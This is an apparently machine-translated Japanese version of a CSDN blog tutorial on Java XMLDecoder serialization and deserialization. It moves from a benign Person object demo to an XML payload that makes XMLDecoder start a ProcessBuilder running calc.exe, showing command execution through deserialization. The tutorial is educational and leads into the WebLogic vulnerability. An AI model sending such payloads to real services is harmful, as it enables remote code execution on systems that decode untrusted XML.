ですよね?あなたはまだ逆シリアル化を理解していませんか?

0x01序文

以前は、Javaでの比較的基本的で一般的な種類の逆シリアル化に触れてきましたが、Javaでの逆シリアル化の形式はそれほど単純ではありません。

0x02 XMLDecoderの概要

このクラスにはjdkが付属しています。場所はjava.beans.XMLDecoderです。このクラスのシリアライゼーションはJavaオブジェクトをxmlファイルに変換することであり、デシリアライゼーションは特定の形式のxmlファイルをJavaオブジェクトに変換することです。

私たちはまだその使用法に慣れるために小さなデモを使用しています。

クラスを作成します。クラスには2つのメソッドがあり、1つはシリアル化操作、もう1つは逆シリアル化操作です

import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.io.*;

public class XMLTest{
    
    
    // 序列化对象到文件person.xml
    public void xmlEncode() throws FileNotFoundException {
    
    
        Person person = new Person();
        person.setAge(18);
        person.setName("axin");
        XMLEncoder xmlEncoder = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("person.xml")));
        xmlEncoder.writeObject(person);
        xmlEncoder.close();
        System.out.println("序列化结束!");
    }

    // 反序列化
    public void xmlDecode() throws FileNotFoundException {
    
    
        XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("person.xml")));
        Person person = (Person)xmlDecoder.readObject();
        xmlDecoder.close();
        person.sayHello();
        System.out.println("反序列化成功!");
    }

    public static void main(String[] args) throws FileNotFoundException {
    
    
        XMLTest xmlTest = new XMLTest();
        xmlTest.xmlEncode();
        xmlTest.xmlDecode();
    }
}

Personクラスは次のとおりです。

public class Person {
    
    
    String name = "";
    int age;

    public String getName() {
    
    
        return name;
    }

    public void setName(String name) {
    
    
        this.name = name;
    }

    public int getAge() {
    
    
        return age;
    }

    public void setAge(int age) {
    
    
        this.age = age;
    }

    public void sayHello(){
    
    
        System.out.println("Hello, my name is "+name);
    }
}

XMLTestクラスを実行すると、現在のプロジェクトディレクトリにperson.xmlファイルが生成され、sayHelloメソッドを呼び出した結果がターミナルに出力されます

シリアル化によって生成されるxmlファイル形式は次のとおりです。

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_231" class="java.beans.XMLDecoder">
 <object class="Person">
  <void property="age">
   <int>18</int>
  </void>
  <void property="name">
   <string>axin</string>
  </void>
 </object>
</java>

上記のxmlファイルを逆シリアル化し、sayHelloメソッドを実行します。

0x03使い方

XMLDecoderの一般的なシリアライゼーションとデシリアライゼーションの方法はすでに知っているので、それをどのように使用しますか?

その逆シリアル化メカニズムを使用して、任意のオブジェクトの任意のコマンドを実行できます。たとえば、次のxmlファイルを作成します。

<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1">
            <void index="0">
                <string>calc.exe</string>
            </void>
        </array>
        <void method="start">
        </void>
    </object>
</java>

上記のxmlファイルがデシリアライズされると、ProcessBuilderのstartメソッドが実行され、計算機が再生されます

その他の

この章は、XMLDecoderの逆シリアル化の単純な原則にすぎません。同様に、脆弱性をより明確に理解するのに役立つケースが見つかります。もちろん、薬を変更せずにスープを変更すると、脆弱性のシナリオは変化しますが、本質は変わりません変わりました〜

次の章では、weblogicのXMLDecoder逆シリアル化の脆弱性を見てみましょう。

おすすめ

転載: blog.csdn.net/he_and/article/details/107219395